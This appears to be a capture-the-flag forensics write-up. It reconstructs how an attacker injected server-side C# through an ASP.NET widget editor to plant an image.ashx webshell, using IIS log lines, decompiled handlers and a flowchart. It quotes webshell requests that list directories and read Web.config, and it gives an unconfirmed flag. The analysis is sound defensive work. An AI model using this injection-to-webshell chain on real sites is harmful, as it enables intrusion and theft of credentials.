2025-07-11 09:53:21 10.3.2.11 GET /userfile/files/2025/image.ashx access=D%3a%5cWebsite 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/138.0.0.0+Safari/537.36+Edg/138.0.0.0 https://vcslabhanoi.vcslab.com.vn/userfile/files/2025/image.ashx?access=D%3a%5c 200 0 0 1
2025-07-11 09:53:25 10.3.2.11 GET /userfile/files/2025/image.ashx access=D%3a%5cWebsite%5cHomeBQLDA_V2 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/138.0.0.0+Safari/537.36+Edg/138.0.0.0 https://vcslabhanoi.vcslab.com.vn/userfile/files/2025/image.ashx?access=D%3a%5cWebsite 200 0 0 2
2025-07-11 09:53:28 10.3.2.11 GET /userfile/files/2025/image.ashx getfile=Web.config&access=D%3a%5cWebsite%5cHomeBQLDA_V2 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/138.0.0.0+Safari/537.36+Edg/138.0.0.0 https://vcslabhanoi.vcslab.com.vn/userfile/files/2025/image.ashx?access=D%3a%5cWebsite%5cHomeBQLDA_V2 200 0 0 1
...The 962.ascx.sc file was created at 09:51:59, matching the POST /ViewEditWidget/vi-VN/4603/20 request. The next request, at 09:52:04, was GET /ViewWidgetPreview/vi-VN/4603/114, which previewed the edited widget. The attacker then accessed image.ashx to retrieve files from the server.
I inspected the DLLs to see how the code was saved and executed.
I used dnSpy to inspect the two DLLs.

Based on the log, I used these keywords to search the DLLs: EditHtml, EditWidgetPageLayoutbyPage, ViewEditWidget, and ViewWidgetPreview.
Searching for EditHtml returned a result in WebPublicProject.dll. The Admin_Controls_EditHtml class is in the WebPublicProject.Client.Admin.Skins namespace.


I found the btn_edit_Click event handler. It takes the value of codeText and saves it to the database.

The handler saves codeText to the database without validation or sanitization, allowing the attacker to store a server-side payload there.
Next, I looked at the ViewWidgetPreview endpoint.

Page_Load takes the Id parameter from the URL and uses it to retrieve the widget layout and configuration from the database.

The Id in the log is 114, which is the widget placement ID. The code uses the placement’s WidgetId to retrieve the widget configuration.
If the widget configuration has WidgetControl set to Dynamic, ViewWidgetPreview loads Dynamic.ascx, a wrapper control. The wrapper receives placement ID 114 and uses it to find the dynamic content for that placement.

To see how the content becomes a control, I followed the call to UpdateSYS_DynamicWidget from btn_edit_Click into BSO.dll. It updates the database and then calls UpdateFileHtml.

UpdateFileHtml writes the saved HTML to ClientDynamic/Temp/XXX.ascx. It adds the ASP.NET control header and the widgetId field before writing the file.

During preview, the wrapper loads this control. When ASP.NET renders it, the injected C# block runs and writes image.ashx.
The chain can be summarized as follows:
flowchart TD
A["POST /AdminPopup/.../EditHtml/4603"] --> B["Admin_Controls_EditHtml<br/>btn_edit_Click<br/>codeText.Value → HtmlCode"]
B --> C["BSO.DynamicWidgetBSO<br/>UpdateSYS_DynamicWidget → UpdateFileHtml"]
C --> D["ClientDynamic/Temp/962.ascx<br/>widgetId = 962"]
D --> E["ASP.NET compiles the control<br/>962.ascx.sc"]
E --> F["GET /ViewWidgetPreview/.../114"]
F --> G["ViewWidgetPreview.Page_Load<br/>loads placement ID 114"]
G --> H["WidgetControl = Dynamic<br/>loads Dynamic.ascx"]
H --> I["Client_Dynamic.Page_Load<br/>placement 114 → widget 962"]
I --> J["LoadControl 962.ascx"]
J --> K["Injected inline C# runs<br/>File.WriteAllText(...)"]
K --> L["image.ashx<br/>HandlerSpy.ProcessRequest"]
classDef request fill:#dbeafe,stroke:#2563eb,color:#172554,stroke-width:2px;
classDef app fill:#fef3c7,stroke:#d97706,color:#422006,stroke-width:2px;
classDef dynamic fill:#ede9fe,stroke:#7c3aed,color:#2e1065,stroke-width:2px;
classDef danger fill:#fee2e2,stroke:#dc2626,color:#7f1d1d,stroke-width:3px;
class A,F,M request;
class B,C,G app;
class D,E,H,I,J dynamic;
class K,L danger;
The flag is VCS{EditHtml_btn_edit_Click}
P.S. I can’t confirm the flag since the challenge is not live (ended a year already lol). I will update this write-up if I get confirmation.
MITRE ATT&CK Mapping
| Tactic | Technique | Observed action |
|---|---|---|
| Initial Access | T1190 - Exploit Public-Facing Application | The attacker submitted server-side code through the widget editor, which was then compiled and executed during preview. |
| Persistence | T1505.003 - Web Shell | The inline code created image.ashx, a webshell that provided file-management functions. |
| Discovery | T1083 - File and Directory Discovery | The attacker used the webshell to enumerate directories on the server. |
| Collection | T1005 - Data from Local System | IIS logs show a getfile=Web.config request through the webshell. |
Forensic 3
TBH I don’t know how to solve this one til this day. EVEN WITH AI ??? AND THIS IS THE MOST SOLVED CHALLENGE IN THE COMPETITION. LIKE WHAT THE HELL ??

